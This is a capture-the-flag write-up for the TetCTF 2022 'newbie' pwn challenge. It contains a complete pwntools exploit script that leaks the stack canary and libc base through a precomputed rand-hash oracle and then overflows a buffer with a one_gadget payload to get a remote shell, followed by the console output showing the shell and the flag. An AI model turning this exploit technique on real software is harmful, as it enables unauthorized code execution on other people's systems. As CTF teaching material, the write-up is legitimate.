Tags: canary pwn
Rating: 5.0
This is a truncated writeup, for the detailed writeup please visit: https://nandynarwhals.org/tetctf-2022-newbie/.
Summary: An ELF binary contains functionality to generate a 'hashed' identifier from two bytes of
memory at an offset specified by the user. This 'hashed' identifier is generated by taking the two
bytes as the seed to srand and running rand 32 times and using the result as the lookup value to a
table. Precomputing these identifiers allows us to leak the stack canary and libc base address.
These can then be used in a straightforward buffer overflow to obtain a shell.
The exploit script is as follows:
```python
#!/usr/bin/env python
from pwn import *
from one_gadget import generate_one_gadget
import ctypes
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
stack_canary_offset = 49
stack___libc_start_main_offset = 73
hashes = {}
# context.log_level = 'debug'
def leak(p, offset, toggle_zero=True):
'''Leaks 2 bytes at an offset << 1.
'''
p.recvuntil(b'> ')
p.sendline(b'id ' + str(offset).encode())
p.recvuntil(b'> ')
p.sendline(b'create')
p.recvuntil(b'Your key: ')
key = p.recvline().strip().decode()
value = hashes[key]
# Correct for the 1 and 0 collision.
if value == 1 and toggle_zero:
value = 0
log.info('Offset {}: {} ({})'.format(offset, key, hex(value)))
return value
def precompute():
'''Pre-compute the 'hashes'
'''
libc = ctypes.cdll.LoadLibrary("libc.so.6")
global hashes
for i in range(0xffff+1):
libc.srand(i)
val = ''
for j in range(32):
val += charset[libc.rand() % len(charset)]
hashes[val] = i
log.info("Computed {} hashes.".format(len(hashes)))
def main():
precompute()
# Find the magic one gadget in the provided libc.
libc_path = './libc-2.27.so'
# libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
magic_offset = next(generate_one_gadget(libc_path))
log.info('Found magic one gadget at offset: {}'.format(hex(magic_offset)))
# Get the __libc_start_main offset
libc_elf = ELF(libc_path)
__libc_start_main_offset = libc_elf.libc_start_main_return
log.info('__libc_start_main_offset: {}'.format(hex(__libc_start_main_offset)))
# Start the program.
# p = process("./newbie")
p = remote('18.191.117.63', 31337)
# Leak the canary.
canary = 0
for i in range(4):
canary += (leak(p, stack_canary_offset + i)) << (16 * i)
log.info('Leaked canary: {}'.format(hex(canary)))
# Leak the __libc_start_main return value.
__libc_start_main = 0
for i in range(4):
__libc_start_main += (leak(p, stack___libc_start_main_offset + i)) << (16 * i)
log.info('Leaked __libc_start_main: {}'.format(hex(__libc_start_main)))
libc_base = __libc_start_main - __libc_start_main_offset
log.info('libc base address: {}'.format(hex(libc_base)))
magic = libc_base + magic_offset
log.info('Magic one gadget address: {}'.format(hex(magic)))
# Trigger the buffer overflow.
p.recvuntil(b'> ')
payload = b'A'* 88 + p64(canary) + p64(0x4242424242424242) + p64(magic)
p.sendline(payload)
# Quit to return.
p.recvuntil(b'> ')
p.sendline(b'quit')
log.success("Shell spawned! Enjoy!")
p.interactive()
if __name__ == '__main__':
main()
```
Running the script gives us the flag:
```console
vagrant@ubuntu-xenial:/vagrant/tetctf/newbie$ python exploit.py
[*] Computed 65535 hashes.
[*] Found magic one gadget at offset: 0x4f432
[*] '/vagrant/tetctf/newbie/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] __libc_start_main_offset: 0x21bf7
[+] Opening connection to 18.191.117.63 on port 31337: Done
[*] Offset 49: LApmeIwPVRvBimHy6V7jRifniOTe7NBG (0xc100)
[*] Offset 50: henRdEDwBeIMjzAvEudyFn76uTxTBkKi (0xd80c)
[*] Offset 51: 6JbEAh0e88NItAu5hKAY2wB2lSperfNn (0xf4a7)
[*] Offset 52: tqfR2IdzzMKJDfptV4s3imx0OPmk5yvo (0x1ae)
[*] Leaked canary: 0x1aef4a7d80cc100
[*] Offset 73: IUm4PsKcRdQCYgkI203pmyJk9KmqZ33h (0x2bf7)
[*] Offset 74: rzikY2f8hfX3SsEjQPqd2yzF5Z3OdtcI (0x6d50)
[*] Offset 75: gS0gzFoAuPb6O2AqmPcfd9VHdLphzi2W (0x7f14)
[*] Offset 76: pkDHTxmMR18N2l9k88EmLgN7cCCTt9rW (0x0)
[*] Leaked __libc_start_main: 0x7f146d502bf7
[*] libc base address: 0x7f146d4e1000
[*] Magic one gadget address: 0x7f146d530432
[+] Shell spawned! Enjoy!
[*] Switching to interactive mode
$ ls -la /home/
total 12
drwxr-xr-x 1 root root 4096 Dec 31 13:01 .
drwxr-xr-x 1 root root 4096 Dec 31 13:01 ..
drwxr-xr-x 1 root newbie 4096 Dec 31 13:01 newbie
$ cd /home/newbie
$ ls -la
total 36
drwxr-xr-x 1 root newbie 4096 Dec 31 13:01 .
drwxr-xr-x 1 root root 4096 Dec 31 13:01 ..
-rw-r--r-- 1 root newbie 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 root newbie 3771 Apr 4 2018 .bashrc
-rw-r--r-- 1 root newbie 807 Apr 4 2018 .profile
-rw-r----- 1 root newbie 34 Dec 31 12:54 flag
-rwxr-xr-x 1 root newbie 10216 Dec 31 12:54 newbie
$ cat flag
TetCTF{Challenge_f0r_n3wbie_Akwpa}
```
**Flag:** `TetCTF{Challenge_f0r_n3wbie_Akwpa}`